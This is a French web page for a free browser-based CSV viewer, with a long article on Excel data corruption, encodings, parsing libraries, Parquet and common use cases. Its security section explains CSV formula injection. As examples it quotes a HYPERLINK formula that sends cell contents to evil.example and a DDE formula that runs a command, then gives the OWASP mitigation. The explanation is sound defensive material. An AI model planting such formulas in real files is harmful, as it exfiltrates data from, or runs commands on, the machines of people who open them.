Visualiseur CSV, gratuit
Visualisez, triez et recherchez des données CSV instantanément. Prend en charge plusieurs délimiteurs avec détection automatique. Importez ou collez du texte CSV pour analyser vos données.
Importez un fichier CSV ou collez du texte CSV pour commencer.
À propos des fichiers CSV
CSV (Comma-Separated Values) est un format texte simple pour stocker des données tabulaires. Chaque ligne représente une ligne de données et les virgules séparent les colonnes. CSV est largement utilisé pour l'échange de données entre applications, bases de données et tableurs.
Caractéristiques du CSV :
- Format universel : pris en charge par Excel, Google Sheets, les bases de données et la plupart des outils de données
- Simple et portable : texte brut, lisible par un humain, fonctionne sur toute plateforme
- Champs cités : les valeurs contenant des virgules ou des retours à la ligne peuvent être entourées de guillemets
- Plusieurs délimiteurs : virgule, point-virgule, tabulation ou barre verticale
- En-têtes optionnels : la première ligne peut contenir les noms des colonnes
Comment exporter des données en CSV ?
Dans Excel : Enregistrer sous → CSV (séparateur : point-virgule). Dans Google Sheets : Fichier → Télécharger → CSV. Dans la plupart des bases de données : Exporter → format CSV. Le CSV est le format d'export standard pour les données tabulaires.
Et si mon CSV contient des caractères spéciaux ?
Le CSV gère les caractères spéciaux via la mise entre guillemets. Les champs contenant des virgules, des guillemets ou des retours à la ligne doivent être entourés de guillemets doubles. Les caractères spéciaux comme é, ñ ou les emoji sont préservés si le fichier utilise l'encodage UTF-8.
Comment fonctionne la détection automatique du délimiteur ?
Cet outil analyse la première ligne de votre CSV pour détecter quel délimiteur apparaît le plus régulièrement. Pour de meilleurs résultats avec des délimiteurs inhabituels, sélectionnez-le manuellement dans la liste déroulante.
Pourquoi "consulter un CSV sans Excel" est un besoin à part entière
La réponse naïve à "comment ouvrir un CSV ?" est "double-clique, Excel s'ouvre". Cette réponse est fausse pour une proportion surprenante des personnes qui ont réellement besoin de consulter un CSV. Les raisons se rangent en quatre catégories, et chacune justifie d'atterrir sur une visionneuse côté navigateur comme celle-ci.
1. Excel détruit les données à l'ouverture. L'exemple le plus cité est le désastre des noms de gènes : Excel lit MARCH1 et écrit 1-Mar, lit SEPT2 et écrit 2-Sep. Le HUGO Gene Nomenclature Committee a renoncé à lutter contre Excel et a renommé vingt-sept gènes humains en 2020 tant la corruption des données était généralisée. Un article PLOS Computational Biology de 2020 portant sur 3 597 publications a constaté qu'environ un cinquième des données génétiques supplémentaires avaient été silencieusement abîmées par la conversion automatique d'Excel. Les gènes sont le cas célèbre mais le même mécanisme mange les codes postaux américains (01234 devient 1234), les SKU produits avec zéros initiaux, les notations fractionnaires en musique ou en chimie (3/4, 4/4), les numéros de série en forme de dates (1-1, 2-2), les extensions téléphoniques et les numéros de compte en notation scientifique (9.18e+12 au lieu de 9180000000000). Une visionneuse, quelque chose qui affiche les octets bruts tels qu'écrits, n'est pas qu'un confort, c'est une primitive d'exactitude. Pour vérifier qu'une colonne d'ID clients a survécu intacte à un export, il faut une visionneuse qui n'analyse pas, ne convertit pas, n'"aide" pas.
2. Excel n'est pas installé. Une part non négligeable des ordinateurs portables en 2026 n'ont pas de licence Microsoft 365. Les Chromebooks sortent sans Excel ; beaucoup d'installations Linux utilisent LibreOffice Calc avec ses propres bizarreries ; nombre d'utilisateurs Mac ouvrent les CSV dans Apple Numbers, qui retourne silencieusement les lignes longues et a sa propre personnalité de coercition numérique. Quiconque tente d'inspecter un fichier sur une machine d'entreprise sans droit d'installer de logiciel, sur un appareil prêté ou sur une borne, a besoin d'un outil qui tourne dans n'importe quel onglet de navigateur sans permissions.
3. Le fichier dépasse les limites d'Excel. Excel 2007 a introduit le .xlsx et porté le plafond de lignes de 65 536 (.xls) à 1 048 576 lignes (2²⁰). Le plafond de colonnes est passé de 256 à 16 384 (2¹⁴). Pendant deux décennies, cela a suffi à la plupart des gens. Ce n'est plus le cas pour beaucoup. Un journal serveur modeste peut produire deux millions de lignes en une semaine. Un export Shopify d'un an de commandes pour un magasin moyen peut dépasser le million. Un capteur échantillonnant à 1 Hz produit 86 400 lignes par jour ; un an, c'est 31,5 millions. La gestion du dépassement par Excel est brutale : il tronque silencieusement à 1 048 576 lignes et continue comme si de rien n'était. Pas de bandeau d'avertissement. L'utilisateur découvre les lignes manquantes des semaines plus tard, ou jamais.
4. Mobile. Les tableurs sur iOS et Android sont des citoyens de seconde zone. L'application Excel mobile existe mais elle est verrouillée derrière un compte Microsoft, n'offre qu'un sous-ensemble des fonctionnalités du bureau, et est pénible pour inspecter de larges tableaux au téléphone. Parfois on veut juste ouvrir une pièce jointe qu'un collègue a envoyée par e-mail, jeter un œil à quelques lignes, faire une capture d'écran et répondre. Une visionneuse CSV qui se charge dans un navigateur mobile, formate les données en tableau HTML défilable et ne fait rien d'autre est le meilleur outil pour ce travail.
Et un cinquième cas, plus petit : capture d'écran pour un message. Souvent ce que l'on veut vraiment, c'est un visuel propre de trois ou quatre lignes à coller dans Slack, dans un ticket, dans une réponse e-mail. Ouvrir le fichier dans Excel et le capturer donne une image avec un ruban, un quadrillage, le sélecteur de cellule active et la barre de chemin de fichier en haut, soit vingt pour cent de la capture occupée par l'interface d'Excel. Un simple tableau HTML rendu dans un onglet de navigateur est le sujet de capture d'écran le plus propre possible.
Une brève histoire (la partie qui compte pour la consultation)
L'histoire complète du CSV est dans la page sœur text-to-csv : Fortran d'IBM 1972, des décennies d'usage informel, la RFC 4180 enfin publiée en octobre 2005 par Yakov Shafranovich, le type MIME text/csv enregistré à l'IANA, le W3C Model for Tabular Data and Metadata on the Web (CSVW) atteignant le statut de W3C Recommendation le 17 décembre 2015 (et largement ignoré dans la pratique). Ce qui compte pour la consultation, c'est qu'aucun de ces documents ne spécifie comment afficher un CSV. Pas de largeur de colonne canonique, pas de convention d'alignement, pas de règle disant si la ligne 1 est un en-tête. La RFC 4180 dit comment échapper les virgules à l'écrivain ; elle ne dit rien au lecteur sur le rendu. Le travail de la visionneuse est non spécifié.
Ce dont nous disposons, ce sont des conventions issues des tableurs (texte aligné à gauche, nombres alignés à droite, première ligne figée, couleurs alternées pour la lisibilité) et des conventions des tableaux web (en-têtes triables, positionnement sticky, champ de recherche au-dessus de la grille). Une visionneuse CSV moderne est essentiellement une interface de tableur sans l'édition.
Les pièges du séparateur de locale et du BOM
Le chaos du séparateur de locale qui mord les rédacteurs de CSV mord aussi les lecteurs : virgule en en-US, point-virgule en fr-FR / de-DE / it-IT / es-ES / pt-BR, tabulation et pipe ailleurs. Une visionneuse qui code en dur la virgule et affiche un "CSV" français comme une seule colonne par ligne est cassée d'entrée. Le défaut "Auto-détection" avec remplacement manuel de cet outil est le bon design : essayer d'être intelligent, mais quand l'heuristique échoue (et elle échouera, sur des fichiers à une seule colonne dont toutes les valeurs contiennent une virgule), l'utilisateur peut choisir.
Le byte-order mark, les trois octets EF BB BF en tête d'un fichier UTF-8, encodant U+FEFF, existe parce qu'Excel sous Windows refuse de détecter l'UTF-8 sans lui. Un rédacteur CSV poli préfixe le BOM pour être Excel-friendly ; le coût retombe sur tous les autres lecteurs. Presque tous les outils en ligne de commande, awk, cut, head, tail, les anciens sed, traitent le BOM comme faisant partie du premier champ. Un en-tête de colonne qui devrait être name se lit name. Le module csv intégré à Python ne supprime pas le BOM sauf si le fichier est ouvert avec le codec utf-8-sig ; un million de tutoriels utilisent un simple utf-8 et produisent silencieusement des parseurs cassés. Si vous voyez un caractère étrange avant votre premier en-tête de colonne, c'est un byte-order mark UTF-8, pas un bug dans le fichier, juste un décalage entre l'encodeur et le décodeur.
Les quatre variantes "CSV" d'Excel
La boîte de dialogue Enregistrer sous d'Excel propose quatre formats "CSV", et les étiquettes sont trompeuses. Les libellés "Comma delimited" utilisent en réalité le séparateur de liste de la locale de l'utilisateur, qui est un point-virgule dans la plupart de l'Europe continentale et de l'Amérique latine.
- CSV (Comma delimited) : utilise le séparateur de liste de la locale, page de codes ANSI, pas de BOM, CRLF.
- CSV UTF-8 (Comma delimited) : ajouté dans Excel 2016, le seul des quatre à utiliser l'UTF-8 (avec un BOM).
- CSV (Macintosh) : encodage MacRoman, fins de ligne CR seules du classique-Mac, largement obsolète mais qui réapparaît.
- CSV (MS-DOS) : page de codes OEM (CP437 en en-US, CP850 en Europe de l'Ouest).
Une visionneuse qui veut "juste fonctionner" sur toutes les variantes doit détecter l'encodage (UTF-8 ± BOM, UTF-16 avec BOM, Windows-1252, ISO-8859-1, MacRoman, Shift_JIS, GBK), les fins de ligne (CRLF / LF / CR), le séparateur (virgule / point-virgule / tabulation / pipe / personnalisé), le style de citation (RFC 4180 double-guillemet, antislash, aucun) et la présence d'en-tête. Détecter tout cela de manière fiable est vraiment difficile. L'approche pragmatique : détecter ce que l'on peut, exposer des remplacements manuels pour le reste, et ne jamais échouer en silence. Cet outil expose le délimiteur manuellement, ce qui couvre la surprise la plus courante. Il n'expose pas encore l'encodage, un CSV français exporté en Windows-1252 avec des accents affichera du mojibake (é au lieu de é) tant qu'on n'ajoute pas un vrai remplacement.
Le parsing côté navigateur, les bibliothèques
La bibliothèque CSV côté client dominante est PapaParse, créée par Matt Holt en 2013 et autour de 13,4k étoiles GitHub aujourd'hui. Son slogan, "the fastest in-browser CSV parser", n'est pas hyperbolique. Elle est conforme à la RFC 4180, sous licence MIT, sans dépendance, et prend en charge le parsing synchrone de chaînes, le parsing asynchrone de fichiers via FileReader, le parsing en flux par morceaux pour les fichiers plus grands que la RAM, et le parsing dans un worker pour garder l'UI réactive. PapaParse est le défaut dans tout outil CSV côté navigateur, sauf raison particulière contraire.
Côté Node, le choix canonique est csv-parse (Adaltas, première publication 2010), éprouvé, exposant à la fois des API à callbacks et en streams. csv-parser par mafintosh privilégie le débit brut sur la largeur de fonctionnalités. fast-csv (C2FO) est un parseur-formateur construit en TypeScript pour les équipes qui veulent lecture et écriture dans la même bibliothèque.
Streaming pour les fichiers plus gros que la RAM
La lecture CSV naïve dans le navigateur utilise FileReader.readAsText(file), qui charge le fichier entier en mémoire avant d'invoquer onload. Pour un fichier de cent mégaoctets, c'est cent mégaoctets de tas JavaScript. Pour un fichier d'un gigaoctet, l'onglet du navigateur va manquer de mémoire ou s'enliser sur la plupart des matériels grand public.
L'alternative moderne est la Streams API, disponible via File.prototype.stream() depuis Chrome 71 et Firefox 65. Appeler file.stream() renvoie un ReadableStream<Uint8Array> qui livre les octets du fichier par morceaux. Le consommateur lit dans le flux, décode chaque morceau via TextDecoder (avec l'option stream: true pour que les séquences UTF-8 multi-octets coupées en bordure de morceau soient correctement raccordées), et envoie le texte à un parseur en flux. PapaParse peut ingérer un flux directement via son callback step ou chunk. Le résultat est un parsing à mémoire constante de fichiers arbitrairement grands.
Pour une visionneuse, le streaming seul ne suffit pas, le tableau affiché doit aussi être virtualisé, sinon rendre dix millions d'éléments <tr> fait planter la page même si le parsing a réussi. Le pattern d'architecture standard : stream-parse vers IndexedDB au chargement, rendu virtualisé depuis IndexedDB au scroll. Cet outil est actuellement optimisé pour les fichiers dans la petite dizaine de mégaoctets, pour le workflow typique "je veux juste regarder ce fichier" qui couvre presque tout le monde. Pour des CSV de plusieurs gigaoctets, regardez du côté d'outils desktop comme Visidata, la clause FROM du CLI DuckDB ou le csvlook de csvkit.
Trier, filtrer, pivoter, le paysage des grilles JavaScript
Une fois les données dans la page, l'utilisateur veut faire trois choses : trier par colonne, filtrer des lignes, parfois pivoter. Toute une industrie de bibliothèques JavaScript réimplémente cela dans le DOM du navigateur :
- DataTables.js d'Allan Jardine (travaux entamés en 2008, SpryMedia constituée en 2011) est le doyen. Prenez n'importe quel
<table>HTML et obtenez des en-têtes triables, un champ de recherche instantanée, la pagination et des contrôles d'affichage/masquage des colonnes. À l'origine jQuery ; fonctionne bien en plug-in. Confortable jusqu'à des dizaines de milliers de lignes ; pour des centaines de milliers, la pagination devient porteuse. - AG Grid de Niall Crosby (2015, né de sa frustration face aux grilles sur les salles de marché londoniennes) est le poids lourd. Construit autour de la virtualisation DOM, seules les lignes visibles dans la fenêtre sont effectivement rendues, ce qui lui permet d'afficher confortablement un million de lignes avec une seule barre de défilement. Édition Community gratuite (MIT) plus une édition Enterprise payante (tableaux croisés dynamiques, filtres avancés, graphiques intégrés, modèles de lignes côté serveur). Choix par défaut pour "je construis un outil de données sérieux qui doit ressembler à Excel dans le navigateur".
- Tabulator d'Oli Folkerd est l'alternative moderne sans dépendances. La version 4.0 (2018) a abandonné toutes les dépendances, y compris jQuery ; il occupe le sweet spot entre "DataTables est trop jQuery" et "AG Grid c'est trop".
Pour le pivot spécifiquement, PivotTable.js de Nicolas Kruchten est la bibliothèque JS la plus citée ; le mode pivot d'AG Grid Enterprise est le choix commercial. Le pivot est une opération lourde, souvent mieux servie par un export des données vers un outil qui peut d'abord les indexer.
CSV contre Apache Parquet pour les charges analytiques
La raison pour laquelle le CSV survit est culturelle et inertielle, pas technique. Pour l'analytique sérieuse, le format qui a mangé le repas du CSV est Apache Parquet, un format colonnaire binaire développé conjointement par des ingénieurs de Twitter et Cloudera en 2013, accepté comme projet de haut niveau de l'Apache Software Foundation le 27 avril 2015. Parquet stocke les données colonne par colonne plutôt que ligne par ligne, c'est l'inversion qui compte pour l'analytique : une requête comme SELECT AVG(price) FROM big_table ne lit que la colonne price sur le disque, en sautant toutes les autres. Avec un CSV, la même requête doit lire chaque octet du fichier.
Parquet porte aussi des métadonnées de schéma (les types sont explicites, pas inférés), utilise une compression colonnaire qui atteint régulièrement des ratios 5-10x sur du CSV non compressé, et prend en charge le predicate pushdown pour que les moteurs sautent des groupes de lignes entiers sur la base de statistiques de colonne. C'est le format par défaut sur Snowflake, BigQuery, Databricks, Amazon Athena et essentiellement tout entrepôt et lakehouse cloud moderne. Si vous consultez à répétition le même fichier à l'échelle du gigaoctet, regardez du côté de Parquet, c'est plus rapide et plus petit et presque tous les outils de données modernes le lisent nativement. Le CSV est aujourd'hui mieux compris comme le format d'échange entre humains et la longue traîne des logiciels grand public, tandis que Parquet est le format de stockage entre machines.
Injection CSV, l'angle sécurité
L'injection CSV, parfois appelée injection de formule, est l'attaque où une valeur d'une cellule CSV commence par =, +, - ou @, ce qui pousse Excel et Google Sheets à l'interpréter comme une formule à l'ouverture du fichier. L'OWASP la documente depuis au moins 2014. L'exemple manuel est =2+5 qui s'affiche 7 au lieu du texte littéral. L'exemple dangereux est =HYPERLINK("https://evil.example/log?d="&A1, "Click for results") qui, cliqué, exfiltre le contenu de la cellule A1 vers un attaquant. L'exemple vraiment dangereux était =cmd|'/c calc'!A0, qui sur certaines versions d'Excel pouvait lancer des commandes arbitraires via DDE, largement atténué par les changements DDE par défaut de Microsoft en 2018, mais encore présent dans certaines configurations.
L'atténuation standard, selon la guidance OWASP : à la génération d'un CSV à partir de texte fourni par l'utilisateur, préfixer toute cellule commençant par =, +, -, @, tabulation ou retour chariot par une apostrophe simple. Une visionneuse est l'extrémité réceptrice de cette attaque, pas l'extrémité émettrice, mais si vous ouvrez ici un CSV qui contient des cellules préfixées par une formule, c'est un fort indice qu'il ne faut pas ouvrir le même fichier dans Excel sans d'abord remplacer ces cellules. Tout l'intérêt d'inspecter dans une visionneuse d'abord est précisément d'attraper ce genre de piège.
Où, dans la vraie vie, les gens ouvrent ce type de visionneuse
- CSV de relevés bancaires ou fintech. La plupart des banques de détail laissent leurs clients télécharger un an d'historique de transactions en CSV. Les clients veulent regarder le fichier avant de l'importer dans une app de budget, un outil fiscal ou la feuille d'un comptable : vérifier la plage de dates, compter les transactions, chercher un commerçant précis.
- Exports de données IoT et capteurs. CSV de station météo, log de capteur d'humidité du sol, export de compteur électrique domotique. Souvent des dizaines de milliers de lignes. L'utilisateur confirme que l'échantillonnage a tenu sur un intervalle particulier et qu'il n'y a pas de trous.
- Dumps de logs serveurs. Apache combined log format converti en CSV, enregistrements syslog exportés via
logger -t, logs d'application expédiés vers S3 et téléchargés pour inspection. - Exports CRM et SaaS. Export Account Salesforce, contacts HubSpot, clients Stripe, audience Mailchimp, commandes Shopify, base Notion. Chaque plateforme SaaS a son propre format CSV et ses bizarreries. L'utilisateur inspecte avant édition en masse, avant réimport, ou avant de remettre le fichier à un collègue.
- Réponses de sondage. Google Forms, SurveyMonkey, Typeform, Qualtrics, tous exportent en CSV par défaut. Les chercheurs veulent regarder les réponses libres, sentir la distribution, vérifier qu'aucune ligne n'est vide.
- Téléchargements de données publiques. Portails open data gouvernementaux (data.gov, data.gov.uk, EU Open Data Portal), exports de Wikipédia, dépôts de données scientifiques. Le CSV est le dénominateur universel.
- Préparation d'import en masse. L'utilisateur a assemblé un CSV à la main ou avec un autre outil et veut vérifier qu'il est bien formé avant de le téléverser dans un système qui rejettera silencieusement les lignes mal formées. La visionneuse est la simulation à blanc.
- Héritage. Un collègue a envoyé un CSV. L'utilisateur ne sait pas ce qu'il y a dedans. Il veut y jeter un œil avant de décider s'il vaut la peine de s'y plonger.
Autres questions
Quelle taille de fichier cet outil peut-il ouvrir ?
L'implémentation actuelle est confortable avec des fichiers dans la petite dizaine de mégaoctets, ceux qui tiennent facilement en mémoire navigateur et se rendent comme un tableau HTML raisonnable. Pour des fichiers de centaines de mégaoctets ou plus, la page ralentit ; pour des fichiers en gigaoctets, l'onglet du navigateur peut manquer de mémoire et planter. Pour de très gros CSV, regardez des outils desktop comme Visidata, le csvlook de csvkit ou la requête FROM 'file.csv' du CLI DuckDB.
Pourquoi mon CSV ressemble-t-il à une seule colonne géante ?
La détection automatique du délimiteur s'est trompée. C'est le cas le plus fréquent quand le fichier utilise des points-virgules (la plus grande partie de l'Europe continentale), des tabulations (fichiers TSV étiquetés CSV) ou des pipes (certains exports de bases). Passez le menu déroulant Délimiteur sur le bon caractère, l'extension du fichier et le contenu réel sont souvent en désaccord.
Mes caractères accentués s'affichent en charabia. Qu'est-ce qui ne va pas ?
Décalage d'encodage, le fichier est encodé en Windows-1252 (ou un autre encodage non UTF-8) et l'outil l'interprète comme de l'UTF-8. Le symptôme classique est é qui apparaît comme é. La visionneuse actuelle n'expose pas de remplacement d'encodage, mais vous pouvez réenregistrer le fichier en UTF-8 dans tout éditeur de texte moderne (Notepad++, VS Code, BBEdit, gedit, même le Notepad récent sous Windows) et le réouvrir ici.
Faut-il utiliser cet outil ou simplement ouvrir le fichier dans Excel ?
Si votre CSV ne contient que des données qu'Excel ne peut pas corrompre par accident, colonnes de texte en prose pure, entiers ordinaires dans une plage normale, dates au format attendu par Excel, alors Excel est très bien et les outils d'édition y sont plus riches. Si votre CSV contient quoi que ce soit qu'Excel pourrait réécrire (noms de gènes, codes postaux à zéros initiaux, fractions comme 3/4, chaînes en forme de notation scientifique, tout ce que vous devez conserver octet par octet), ouvrez-le d'abord dans une visionneuse pour confirmer ce qu'il y a dedans avant de laisser Excel y toucher. L'heure passée à l'ouvrir ici coûte bien moins que la découverte une semaine plus tard qu'Excel a renommé votre jeu de gènes.